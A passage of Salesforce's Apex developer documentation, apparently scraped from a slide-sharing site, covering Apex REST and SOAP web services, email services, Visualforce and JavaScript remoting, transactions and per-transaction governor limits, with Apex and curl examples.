  • 244. Invoking Apex Exposing Apex Classes as REST Web Services webService static Id [] createAccounts(Account parent, Account child, Account grandChild) { insert parent; child.parentId = parent.Id; insert child; grandChild.parentId = child.Id; insert grandChild; Id [] results = new Id[3]; results[0] = parent.Id; results[1] = child.Id; results[2] = grandChild.Id; return results; } } // Test class for the previous class. @isTest private class SpecialAccountsTest { testMethod static void testAccountCreate() { SpecialAccounts.AccountInfo info = new SpecialAccounts.AccountInfo(); info.AcctName = 'Manoj Cheenath'; info.AcctNumber = 12345; Account acct = SpecialAccounts.createAccount(info); System.assert(acct != null); } } You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 232. Overloading Web Service Methods SOAP and WSDL do not provide good support for overloading methods. Consequently, Apex does not allow two methods marked with the webService keyword to have the same name. Web service methods that have the same name in the same class generate a compile-time error. Exposing Apex Classes as REST Web Services You can expose your Apex classes and methods so that external applications can access your code and your application through the REST architecture. This section provides an overview of how to expose your Apex classes as REST Web services. You'll learn about the class and method annotations and see code samples that show you how to implement this functionality. Introduction to Apex REST You can expose your Apex class and methods so that external applications can access your code and your application through the REST architecture. This is done by defining your Apex class with the @RestResource annotation to expose it as a REST resource. Similarly, add annotations to your methods to expose them through REST. For example, you can add the @HttpGet annotation to your method to expose it as a REST resource that can be called by an HTTP GET request. For more information, see Apex REST Annotations on page 84 These are the classes containing methods and properties you can use with Apex REST. Class Description RestContext Class Contains the RestRequest and RestResponse objects. request Represents an object used to pass data from an HTTP request to an Apex RESTful Web service method. 220
  • 245. Invoking Apex Exposing Apex Classes as REST Web Services Class Description response Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response. Governor Limits Calls to Apex REST classes count against the organization's API governor limits. All standard Apex governor limits apply to Apex REST classes. For example, the maximum request or response size is 3 MB. For more information, see Understanding Execution Governors and Limits. Authentication Apex REST supports these authentication mechanisms: • • OAuth 2.0 Session ID See Step Two: Set Up Authorization in the REST API Developer's Guide. Apex REST Annotations Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service. • • • • • • @RestResource(urlMapping='/yourUrl') @HttpDelete @HttpGet @HttpPatch @HttpPost @HttpPut Apex REST Methods Apex REST supports two formats for representations of resources: JSON and XML. JSON representations are passed by default in the body of a request or response, and the format is indicated by the Content-Type property in the HTTP header. You can retrieve the body as a Blob from the HttpRequest object if there are no parameters to the Apex method. If parameters are defined in the Apex method, an attempt is made to deserialize the request body into those parameters. If the Apex method has a non-void return type, the resource representation is serialized into the response body. These return and parameter types are allowed: • • • • Apex primitives (excluding sObject and Blob). sObjects Lists or maps of Apex primitives or sObjects (only maps with String keys are supported). User-defined types that contain member variables of the types listed above. Note: Apex REST does not support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON serialization and deserialization of Chatter in Apex objects. Also, some collection types, such as maps, aren’t supported with XML. See Request and Response Data Considerations for details. Methods annotated with @HttpGet or @HttpDelete should have no parameters. This is because GET and DELETE requests have no request body, so there's nothing to deserialize. A single Apex class annotated with @RestResource can't have multiple methods annotated with the same HTTP request method. For example, the same class can't have two methods annotated with @HttpGet. 221
  • 246. Invoking Apex Exposing Apex Classes as REST Web Services Note: Apex REST currently doesn't support requests of Content-Type multipart/form-data. Apex REST Method Considerations Here are a few points to consider when you define Apex REST methods. RestRequest and RestResponse objects are available by default in your Apex methods through the static RestContext object. This example shows how to access these objects through RestContext: • RestRequest req = RestContext.request; RestResponse res = RestContext.response; If the Apex method has no parameters, Apex REST copies the HTTP request body into the RestRequest.requestBody property. If the method has parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't be deserialized into the RestRequest.requestBody property. Apex REST uses similar serialization logic for the response. An Apex method with a non-void return type will have the return value serialized into RestResponse.responseBody. Apex REST methods can be used in managed and unmanaged packages. When calling Apex REST methods that are contained in a managed package, you need to include the managed package namespace in the REST call URL. For example, if the class is contained in a managed package namespace called packageNamespace and the Apex REST methods use a URL mapping of /MyMethod/*, the URL used via REST to call these methods would be of the form https://instance.salesforce.com/services/apexrest/packageNamespace/MyMethod/. For more information about managed packages, see What is a Package?. • • • User-Defined Types You can use user-defined types for parameters in your Apex REST methods. Apex REST deserializes request data into public, private, or global class member variables of the user-defined type, unless the variable is declared as static or transient. For example, an Apex REST method that contains a user-defined type parameter might look like the following: @RestResource(urlMapping='/user_defined_type_example/*') global with sharing class MyOwnTypeRestResource { @HttpPost global static MyUserDefinedClass echoMyType(MyUserDefinedClass ic) { return ic; } global class MyUserDefinedClass { global String string1; global String string2 { get; set; } private String privateString; global transient String transientString; global static String staticString; } } Valid JSON and XML request data for this method would look like: { "ic" : { "string1" : "value for string1", "string2" : "value for string2", "privateString" : "value for privateString" 222
  • 247. Invoking Apex Exposing Apex Classes as REST Web Services } } <request> <ic> <string1>value for string1</string1> <string2>value for string2</string2> <privateString>value for privateString</privateString> </ic> </request> If a value for staticString or transientString is provided in the example request data above, an HTTP 400 status code response is generated. Note that the public, private, or global class member variables must be types allowed by Apex REST: Apex primitives (excluding sObject and Blob). sObjects Lists or maps of Apex primitives or sObjects (only maps with String keys are supported). • • • When creating user-defined types used as Apex REST method parameters, avoid introducing any class member variable definitions that result in cycles (definitions that depend on each other) at run time in your user-defined types. Here's a simple example: @RestResource(urlMapping='/CycleExample/*') global with sharing class ApexRESTCycleExample { @HttpGet global static MyUserDef1 doCycleTest() { MyUserDef1 def1 = new MyUserDef1(); MyUserDef2 def2 = new MyUserDef2(); def1.userDef2 = def2; def2.userDef1 = def1; return def1; } global class MyUserDef1 { MyUserDef2 userDef2; } global class MyUserDef2 { MyUserDef1 userDef1; } } The code in the previous example compiles, but at run time when a request is made, Apex REST detects a cycle between instances of def1 and def2, and generates an HTTP 400 status code error response. Request and Response Data Considerations Some additional things to keep in mind for the request data for your Apex REST methods: • The name of the Apex parameters matter, although the order doesn’t. For example, valid requests in both XML and JSON look like the following: @HttpPost global static void myPostMethod(String s1, Integer i1, Boolean b1, String s2) { "s1" : "my first string", "i1" : 123, "s2" : "my second string", 223
  • 248. Invoking Apex Exposing Apex Classes as REST Web Services "b1" : false } <request> <s1>my first string</s1> <i1>123</i1> <s2>my second string</s2> <b1>false</b1> </request> • • • Some parameter and return types can't be used with XML as the Content-Type for the request or as the accepted format for the response, and hence, methods with these parameter or return types can't be used with XML. Maps or collections of collections, for example, List<List<String>> aren't supported. However, you can use these types with JSON. If the parameter list includes a type that's invalid for XML and XML is sent, an HTTP 415 status code is returned. If the return type is a type that's invalid for XML and XML is the requested response format, an HTTP 406 status code is returned. For request data in either JSON or XML, valid values for Boolean parameters are: true, false (both of these are treated as case-insensitive), 1 and 0 (the numeric values, not strings of “1” or “0”). Any other values for Boolean parameters result in an error. If the JSON or XML request data contains multiple parameters of the same name, this results in an HTTP 400 status code error response. For example, if your method specifies an input parameter named x, the following JSON request data results in an error: { "x" : "value1", "x" : "value2" } Similarly, for user-defined types, if the request data includes data for the same user-defined type member variable multiple times, this results in an error. For example, given this Apex REST method and user-defined type: @RestResource(urlMapping='/DuplicateParamsExample/*') global with sharing class ApexRESTDuplicateParamsExample { @HttpPost global static MyUserDef1 doDuplicateParamsTest(MyUserDef1 def) { return def; } global class MyUserDef1 { Integer i; } } The following JSON request data also results in an error: { "def" : { "i" : 1, "i" : 2 } } • If you need to specify a null value for one of your parameters in your request data, you can either omit the parameter entirely or specify a null value. In JSON, you can specify null as the value. In XML, you must use the http://www.w3.org/2001/XMLSchema-instance namespace with a nil value. 224
  • 249. Invoking Apex • Exposing Apex Classes as REST Web Services For XML request data, you must specify an XML namespace that references any Apex namespace your method uses. So, for example, if you define an Apex REST method such as: @RestResource(urlMapping='/namespaceExample/*') global class MyNamespaceTest { @HttpPost global static MyUDT echoTest(MyUDT def, String extraString) { return def; } global class MyUDT { Integer count; } } You can use the following XML request data: <request> <def xmlns:MyUDT="http://soap.sforce.com/schemas/class/MyNamespaceTest"> <MyUDT:count>23</MyUDT:count> </def> <extraString>test</extraString> </request> Response Status Codes The status code of a response is set automatically. This table lists some HTTP status codes and what they mean in the context of the HTTP request method. For the full list of response status codes, see statusCode. Request Method Response Status Code Description GET 200 The request was successful. PATCH 200 The request was successful and the return type is non-void. PATCH 204 The request was successful and the return type is void. DELETE, GET, PATCH, POST, PUT 400 An unhandled user exception occurred. DELETE, GET, PATCH, POST, PUT 403 You don't have access to the specified Apex class. DELETE, GET, PATCH, POST, PUT 404 The URL is unmapped in an existing @RestResource annotation. DELETE, GET, PATCH, POST, PUT 404 The URL extension is unsupported. DELETE, GET, PATCH, POST, PUT 404 The Apex class with the specified namespace couldn't be found. DELETE, GET, PATCH, POST, PUT 405 The request method doesn't have a corresponding Apex method. DELETE, GET, PATCH, POST, PUT 406 The Content-Type property in the header was set to a value other than JSON or XML. DELETE, GET, PATCH, POST, PUT 406 The header specified in the HTTP request is not supported. GET, PATCH, POST, PUT 406 The XML return type specified for format is unsupported. 225
  • 250. Invoking Apex Exposing Apex Classes as REST Web Services Request Method Response Status Code Description DELETE, GET, PATCH, POST, PUT 415 The XML parameter type is unsupported. DELETE, GET, PATCH, POST, PUT 415 The Content-Header Type specified in the HTTP request header is unsupported. DELETE, GET, PATCH, POST, PUT 500 An unhandled Apex exception occurred. See Also: JSON Support XML Support Exposing Data with Apex REST Web Service Methods Invoking a custom Apex REST Web service method always uses system context. Consequently, the current user's credentials are not used, and any user who has access to these methods can use their full power, regardless of permissions, field-level security, or sharing rules. Developers who expose methods using the Apex REST annotations should therefore take care that they are not inadvertently exposing any sensitive data. Warning: Apex class methods that are exposed through the Apex REST API don't enforce object permissions and field-level security by default. We recommend that you make use of the appropriate object or field describe result methods to check the current user’s access level on the objects and fields that the Apex REST API method is accessing. See DescribeSObjectResult Class and DescribeFieldResult Class. Also, sharing rules (record-level access) are enforced only when declaring a class with the with sharing keyword. This requirement applies to all Apex classes, including to classes that are exposed through Apex REST API. To enforce sharing rules for Apex REST API methods, declare the class that contains these methods with the with sharing keyword. See Using the with sharing or without sharing Keywords. Apex REST Code Samples These code samples show you how to expose Apex classes and methods through the REST architecture and how to call those resources from a client. • • Apex REST Basic Code Sample: Provides an example of an Apex REST class with three methods that you can call to delete a record, get a record, and update a record. Apex REST Code Sample Using RestRequest: Provides an example of an Apex REST class that adds an attachment to a record by using the RestRequest object Apex REST Basic Code Sample This sample shows you how to implement a simple REST API in Apex that handles three different HTTP request methods. For more information about authenticating with cURL, see the Quick Start section of the REST API Developer's Guide. 1. Create an Apex class in your instance from Setup, by clicking Develop > Apex Classes > New and add this code to your new class: @RestResource(urlMapping='/Account/*') global with sharing class MyRestResource { 226
  • 251. Invoking Apex Exposing Apex Classes as REST Web Services @HttpDelete global static void doDelete() { RestRequest req = RestContext.request; RestResponse res = RestContext.response; String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1); Account account = [SELECT Id FROM Account WHERE Id = :accountId]; delete account; } @HttpGet global static Account doGet() { RestRequest req = RestContext.request; RestResponse res = RestContext.response; String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1); Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id = :accountId]; return result; } @HttpPost global static String doPost(String name, String phone, String website) { Account account = new Account(); account.Name = name; account.phone = phone; account.website = website; insert account; return account.Id; } } 2. To call the doGet method from a client, open a command-line window and execute the following cURL command to retrieve an account by ID: curl -H "Authorization: Bearer sessionId" "https://instance.salesforce.com/services/apexrest/Account/accountId" • • • Replace sessionId with the <sessionId> element that you noted in the login response. Replace instance with your <serverUrl> element. Replace accountId with the ID of an account which exists in your organization. After calling the doGet method, Salesforce returns a JSON response with data such as the following: { "attributes" : { "type" : "Account", "url" : "/services/data/v22.0/sobjects/Account/accountId" }, "Id" : "accountId", "Name" : "Acme" } Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL. 3. Create a file called account.txt to contain the data for the account you will create in the next step. { "name" : "Wingo Ducks", "phone" : "707-555-1234", 227
  • 252. Invoking Apex Exposing Apex Classes as REST Web Services "website" : "www.wingo.ca.us" } 4. Using a command-line window, execute the following cURL command to create a new account: curl -H "Authorization: Bearer sessionId" -H "Content-Type: application/json" -d @account.txt "https://instance.salesforce.com/services/apexrest/Account/" After calling the doPost method, Salesforce returns a response with data such as the following: "accountId" The accountId is the ID of the account you just created with the POST request. 5. Using a command-line window, execute the following cURL command to delete an account by specifying the ID: curl —X DELETE —H "Authorization: Bearer sessionId" "https://instance.salesforce.com/services/apexrest/Account/accountId" Apex REST Code Sample Using RestRequest The following sample shows you how to add an attachment to a case by using the RestRequest object. For more information about authenticating with cURL, see the Quick Start section of the REST API Developer's Guide. In this code, the binary file data is stored in the RestRequest object, and the Apex service class accesses the binary data in the RestRequest object . 1. Create an Apex class in your instance from Setup by clicking Develop > Apex Classes. Click New and add the following code to your new class: @RestResource(urlMapping='/CaseManagement/v1/*') global with sharing class CaseMgmtService { @HttpPost global static String attachPic(){ RestRequest req = RestContext.request; RestResponse res = Restcontext.response; Id caseId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1); Blob picture = req.requestBody; Attachment a = new Attachment (ParentId = caseId, Body = picture, ContentType = 'image/jpg', Name = 'VehiclePicture'); insert a; return a.Id; } } 2. Open a command-line window and execute the following cURL command to upload the attachment to a case: curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary @file "https://instance.salesforce.com/services/apexrest/CaseManagement/v1/caseId" • • • • Replace sessionId with the <sessionId> element that you noted in the login response. Replace instance with your <serverUrl> element. Replace caseId with the ID of the case you want to add the attachment to. Replace file with the path and file name of the file you want to attach. 228
  • 253. Invoking Apex Apex Email Service Your command should look something like this (with the sessionId replaced with your session ID): curl -H "Authorization: Bearer sessionId" -H "X-PrettyPrint: 1" -H "Content-Type: image/jpeg" --data-binary @c:testvehiclephoto1.jpg "https://na1.salesforce.com/services/apexrest/CaseManagement/v1/500D0000003aCts" Note: The cURL examples in this section don't use a namespaced Apex class so you won't see the namespace in the URL. The Apex class returns a JSON response that contains the attachment ID such as the following: "00PD0000001y7BfMAI" 3. To verify that the attachment and the image were added to the case, navigate to Cases and select the All Open Cases view. Click on the case and then scroll down to the Attachments related list. You should see the attachment you just created. Apex Email Service Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages. Note: Visualforce email templates cannot be used for mass email. You can associate each email service with one or more Salesforce-generated email addresses to which users can send messages for processing. To give multiple users access to a single email service, you can: • • Associate multiple Salesforce-generated email addresses with the email service and allocate those addresses to users. Associate a single Salesforce-generated email address with the email service, and write an Apex class that executes according to the user accessing the email service. For example, you can write an Apex class that identifies the user based on the user's email address and creates records on behalf of that user. To use email services, from Setup, click Develop > Email Services. • • • • Click New Email Service to define a new email service. Select an existing email service to view its configuration, activate or deactivate it, and view or specify addresses for that email service. Click Edit to make changes to an existing email service. Click Delete to delete an email service. Note: Before deleting email services, you must delete all associated email service addresses. When defining email services, note the following: • • An email service only processes messages it receives at one of its addresses. Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the 229
  • 254. Invoking Apex • • • Using the InboundEmail Object number of user licenses by 1,000, up to a daily maximum of 1,000,000. For example, if you have 10 licenses, your organization can process up to 10,000 email messages a day. Email service addresses that you create in your sandbox cannot be copied to your production organization. For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email address. Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments) exceeds approximately 10 MB (varies depending on language and character set). Using the InboundEmail Object For every email the Apex email service domain receives, Salesforce creates a separate InboundEmail object that contains the contents and attachments of that email. You can use Apex classes that implement the Messaging.InboundEmailHandler interface to handle an inbound email message. Using the handleInboundEmail method in that class, you can access an InboundEmail object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions. Example 1: Create Tasks for Contacts The following is an example of how you can look up a contact based on the inbound email address and create a new task. global class CreateTaskEmailExample implements Messaging.InboundEmailHandler { global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email, Messaging.InboundEnvelope env){ // Create an InboundEmailResult object for returning the result of the // Apex Email Service Messaging.InboundEmailResult result = new Messaging.InboundEmailResult(); String myPlainText= ''; // Add the email plain text into the local variable myPlainText = email.plainTextBody; // New Task object to be created Task[] newTask = new Task[0]; // Try to look up any contacts based on the email from address // If there is more than one contact with the same email address, // an exception will be thrown and the catch statement will be called. try { Contact vCon = [SELECT Id, Name, Email FROM Contact WHERE Email = :email.fromAddress LIMIT 1]; // Add a new Task to the contact record we just found above. newTask.add(new Task(Description = myPlainText, Priority = 'Normal', Status = 'Inbound Email', Subject = email.subject, IsReminderSet = true, ReminderDateTime = System.now()+1, WhoId = vCon.Id)); // Insert the new Task insert newTask; System.debug('New Task Object: ' + newTask ); } // If an exception occurs when the query accesses // the contact record, a QueryException is called. 230
  • 255. Invoking Apex Visualforce Classes // The exception is written to the Apex debug log. catch (QueryException e) { System.debug('Query Issue: ' + e); } // Set the result to true. No need to send an email back to the user // with an error message result.success = true; // Return the result for the Apex Email Service return result; } } See Also: InboundEmail Class InboundEnvelope Class InboundEmailResult Class Visualforce Classes In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller extensions: • A custom controller is a class written in Apex that implements all of a page's logic, without leveraging a standard controller. If you use a custom controller, you can define new navigation elements or behaviors, but you must also reimplement any functionality that was already provided in a standard controller. Like other Apex classes, custom controllers execute entirely in system mode, in which the object and field-level permissions of the current user are ignored. You can specify whether a user can execute methods in a custom controller based on the user's profile. • A controller extension is a class written in Apex that adds to or overrides behavior in a standard or custom controller. Extensions allow you to leverage the functionality of another controller while adding your own custom logic. Because standard controllers execute in user mode, in which the permissions, field-level security, and sharing rules of the current user are enforced, extending a standard controller allows you to build a Visualforce page that respects user permissions. Although the extension class executes in system mode, the standard controller executes in user mode. As with custom controllers, you can specify whether a user can execute methods in a controller extension based on the user's profile. You can use these system-supplied Apex classes when building custom Visualforce controllers and controller extensions. • • • • • • • • • • Action Dynamic Component IdeaStandardController IdeaStandardSetController KnowledgeArticleVersionStandardController Message PageReference SelectOption StandardController StandardSetController 231
  • 256. Invoking Apex Invoking Apex Using JavaScript In addition to these classes, the transient keyword can be used when declaring methods in controllers and controller extensions. For more information, see Using the transient Keyword on page 76. For more information on Visualforce, see the Visualforce Developer's Guide. Invoking Apex Using JavaScript JavaScript Remoting Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior that isn’t possible with the standard Visualforce AJAX components. JavaScript remoting has three parts: • • • The remote method invocation you add to the Visualforce page, written in JavaScript. The remote method definition in your Apex controller class. This method definition is written in Apex, but there are few differences from normal action methods. The response handler callback function you add to or include in your Visualforce page, written in JavaScript. In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this: @RemoteAction global static String getItemId(String objectName) { ... } To use JavaScript remoting in a Visualforce page, add the request as a JavaScript invocation with the following form: [namespace.]controller.method( [parameters...,] callbackFunction, [configuration] ); • • • • • • namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if the class comes from an installed package. controller is the name of your Apex controller. method is the name of the Apex method you’re calling. parameters is the comma-separated list of parameters that your method takes. callbackFunction is the name of the JavaScript function that will handle the response from the controller. You can also declare an anonymous function inline. callbackFunction receives the status of the method call and the result as parameters. configuration configures the handling of the remote call and response. Use this to change the behavior of a remoting call, such as whether or not to escape the Apex method’s response. For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide. Apex in AJAX The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public webService methods. To do so, include the following lines in your AJAX code: <script src="/soap/ajax/15.0/connection.js" type="text/javascript"></script> <script src="/soap/ajax/15.0/apex.js" type="text/javascript"></script> 232
  • 257. Invoking Apex Apex in AJAX Note: For AJAX buttons, use the alternate forms of these includes. To invoke Apex, use one of the following two methods: • • Execute anonymously via sforce.apex.executeAnonymous (script). This method returns a result similar to the API's result type, but as a JavaScript structure. Use a class WSDL. For example, you can call the following Apex class: global class myClass { webService static Id makeContact(String lastName, Account a) { Contact c = new Contact(LastName = lastName, AccountId = a.Id); return c.id; } } By using the following JavaScript code: var account = sforce.sObject("Account"); var id = sforce.apex.execute("myClass","makeContact", {lastName:"Smith", a:account}); The execute method takes primitive data types, sObjects, and lists of primitives or sObjects. To call a webService method with no parameters, use {} as the third parameter for sforce.apex.execute. For example, to call the following Apex class: global class myClass{ webService static String getContextUserName() { return UserInfo.getFirstName(); } } Use the following JavaScript code: var contextUser = sforce.apex.execute("myClass", "getContextUserName", {}); Note: If a namespace has been defined for your organization, you must include it in the JavaScript code when you invoke the class. For example, to call the above class, the JavaScript code from above would be rewritten as follows: var contextUser = sforce.apex.execute("myNamespace.myClass", "getContextUserName", {}); To verify whether your organization has a namespace, log in to your Salesforce organization and from Setup, click Create > Packages. If a namespace is defined, it is listed under Developer Settings. Both examples result in native JavaScript values that represent the return type of the methods. Use the following line to display a popup window with debugging information: sforce.debug.trace=true; 233
  • 258. Chapter 9 Apex Transactions and Governor Limits In this chapter ... • • • • Apex Transactions Understanding Execution Governors and Limits Using Governor Limit Email Warnings Running Apex Within Governor Execution Limits Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the efficient use of resources on the Force.com multitenant platform. Most of the governor limits are per transaction, and some aren’t, such as 24-hour limits. To make sure Apex adheres to governor limits, certain design patterns should be used, such as bulk calls and foreign key relationships in queries. This chapter covers transactions, governor limits, and best practices. 234
  • 259. Apex Transactions and Governor Limits Apex Transactions Apex Transactions An Apex transaction represents a set of operations that are executed as a single unit. All DML operations in a transaction either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, a Visualforce page, or a custom Web service method. All operations that occur inside the transaction boundary represent a single unit of operations. This also applies for calls that are made from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction boundary. For example, consider the following chain of operations: a custom Apex Web service method causes a trigger to fire, which in turn calls a method in a class. In this case, all changes are committed to the database only after all operations in the transaction finish executing and don’t cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the transaction isn’t committed. How are Transactions Useful? Transactions are useful when several operations are related, and either all or none of the operations should be committed. This keeps the database in a consistent state. There are many business scenarios that benefit from transaction processing. For example, transferring funds from one bank account to another is a common scenario. It involves debiting the first account and crediting the second account with the amount to transfer. These two operations need to be committed together to the database. But if the debit operation succeeds and the credit operation fails, the account balances will be inconsistent. Example This example shows how all DML insert operations in a method are rolled back when the last operation causes a validation rule failure. In this example, the invoice method is the transaction boundary—all code that runs within this method either commits all changes to the platform database or rolls back all changes. In this case, we add a new invoice statement with a line item for the pencils merchandise. The Line Item is for a purchase of 5,000 pencils specified in the Units_Sold__c field, which is more than the entire pencils inventory of 1,000. This example assumes a validation rule has been set up to check that the total inventory of the merchandise item is enough to cover new purchases. Since this example attempts to purchase more pencils (5,000) than items in stock (1,000), the validation rule fails and throws an exception. Code execution halts at this point and all DML operations processed before this exception are rolled back. In this case, the invoice statement and line item won’t be added to the database, and their insert DML operations are rolled back. In the Developer Console, execute the static invoice method. // // // Id Only 1,000 pencils are in stock. Purchasing 5,000 pencils cause the validation rule to fail, which results in an exception in the invoice method. invoice = MerchandiseOperations.invoice('Pencils', 5000, 'test 1'); This is the definition of the invoice method. In this case, the update of total inventory causes an exception due to the validation rule failure. As a result, the invoice statements and line items will be rolled back and won’t be inserted into the database. public class MerchandiseOperations { public static Id invoice( String pName, Integer pSold, String pDesc) { // Retrieve the pencils sample merchandise Merchandise__c m = [SELECT Price__c,Total_Inventory__c FROM Merchandise__c WHERE Name = :pName LIMIT 1]; // break if no merchandise is found System.assertNotEquals(null, m); // Add a new invoice Invoice_Statement__c i = new Invoice_Statement__c( Description__c = pDesc); insert i; 235
  • 260. Apex Transactions and Governor Limits Understanding Execution Governors and Limits // Add a new line item to the invoice Line_Item__c li = new Line_Item__c( Name = '1', Invoice_Statement__c = i.Id, Merchandise__c = m.Id, Unit_Price__c = m.Price__c, Units_Sold__c = pSold); insert li; // Update the inventory of the merchandise item m.Total_Inventory__c -= pSold; // This causes an exception due to the validation rule // if there is not enough inventory. update m; return i.Id; } } Understanding Execution Governors and Limits Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway Apex doesn’t monopolize shared resources. If some Apex code ever exceeds a limit, the associated governor issues a runtime exception that cannot be handled. The Apex limits, or governors, track and enforce the statistics outlined in the following tables and sections. • • • • • • Per-Transaction Apex Limits Per-Transaction Certified Managed Package Limits Force.com Platform Apex Limits Static Apex Limits Size-Specific Apex Limits Miscellaneous Apex Limits In addition to the core Apex governor limits, email limits are also included later in this topic for your convenience. Per-Transaction Apex Limits These limits count for each Apex transaction. For Batch Apex, these limits are reset for each execution of a batch of records in the execute method. This table lists limits for synchronous Apex and asynchronous Apex (Batch Apex and future methods) when they’re different. Otherwise, this table lists only one limit that applies to both synchronous and asynchronous Apex. Description Synchronous Limit 100 Total number of SOQL queries issued1 Asynchronous Limit 200 Total number of records retrieved by SOQL queries 50,000 Total number of records retrieved by Database.getQueryLocator 10,000 Total number of SOSL queries issued 20 Total number of records retrieved by a single SOSL query 2,000 Total number of DML statements issued2 150 Total number of records processed as a result of DML statements, Approval.process, or database.emptyRecycleBin 236 10,000
  • 261. Apex Transactions and Governor Limits Understanding Execution Governors and Limits Description Synchronous Limit Asynchronous Limit Total stack depth for any Apex invocation that recursively fires triggers due to insert, update, or delete statements3 16 Total number of callouts (HTTP requests or Web services calls) in a transaction 10 Maximum timeout for all callouts (HTTP requests or Web services calls) in a transaction 120 seconds Total number of methods with the future annotation allowed per Apex invocation 10 Total number of sendEmail methods allowed 10 4 Total number of describes allowed 100 5 Total heap size 6 MB 10,000 milliseconds Maximum CPU time on the Salesforce servers6 12 MB 60,000 milliseconds Maximum execution time for each Apex transaction Maximum number of unique namespaces referenced 10 minutes 7 10 1 In a SOQL query with parent-child relationship sub-queries, each parent-child relationship counts as an additional query. These types of queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the row counts of the overall code execution. In addition to static SOQL statements, calls to the following methods count against the number of SOQL statements issued in a request. • • • 2 • • • • • • • • • • • • Database.countQuery Database.getQueryLocator Database.query Calls to the following methods count against the number of DML queries issued in a request. Approval.process Database.convertLead Database.emptyRecycleBin Database.rollback Database.setSavePoint delete and Database.delete insert and Database.insert merge and Database.merge undelete and Database.undelete update and Database.update upsert and Database.upsert System.runAs 3 Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a single invocation, there are tighter restrictions on the stack depth of these types of recursive calls. 4 • • Describes include the following methods and objects. ChildRelationship objects RecordTypeInfo objects 237
  • 262. Apex Transactions and Governor Limits • • • 5 Understanding Execution Governors and Limits PicklistEntry objects fields calls fieldsets calls Email services heap size is 36 MB. 6 CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction—for the executing Apex code, and any processes that are called from this code, such as package code and workflows. CPU time is private for a transaction and is isolated from other transactions. Operations that don’t consume application server CPU time aren’t counted toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isn’t counted, nor is waiting time for Apex callouts. 7 In a single transaction, you can only reference 10 unique namespaces. For example, suppose you have an object that executes a class in a managed package when the object is updated. Then that class updates a second object, which in turn executes a different class in a different package. Even though the second package wasn’t accessed directly by the first, because it occurs in the same transaction, it’s included in the number of namespaces being accessed in a single transaction. Note: • • Limits apply individually to each testMethod. Use the Limits methods to determine the code execution limits for your code while it is running. For example, you can use the getDMLStatements method to determine the number of DML statements that have already been called by your program, or the getLimitDMLStatements method to determine the total number of DML statements available to your code. Per-Transaction Certified Managed Package Limits Certified managed packages, that is, managed packages that have passed the security review for AppExchange, get their own set of limits for per-transaction limits with the exception of some limits. Certified managed packages are developed by salesforce.com ISV Partners, are installed in your organization from Force.com AppExchange, and have unique namespaces. Here is an example that illustrates the separate certified managed package limits for DML statements. If you install a certified managed package, all the Apex code in that package gets its own 150 DML statements, in addition to the 150 DML statements your organization’s native code can execute. This means more than 150 DML statements might execute during a single transaction if code from the managed package and your native organization both execute. Similarly, the certified managed package gets its own 100 SOQL queries limit for synchronous Apex, in addition to the organization’s native code limit of 100 SOQL queries, and so on. All per-transaction limits count separately for certified managed packages with the exception of: • • • • The total heap size The maximum CPU time The maximum transaction execution time The maximum number of unique namespaces These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction. Also, if you install a package from AppExchange that isn’t created by a salesforce.com ISV Partner and isn’t certified, the code from that package doesn’t have its own separate governor limit count. Any resources it uses counts against the total for your organization. Cumulative resource messages and warning emails are also generated based on managed package namespaces as well. For more information on salesforce.com ISV Partner packages, see salesforce.com Partner Programs. Force.com Platform Apex Limits The limits in this table aren’t specific to an Apex transaction and are enforced by the Force.com platform. 238
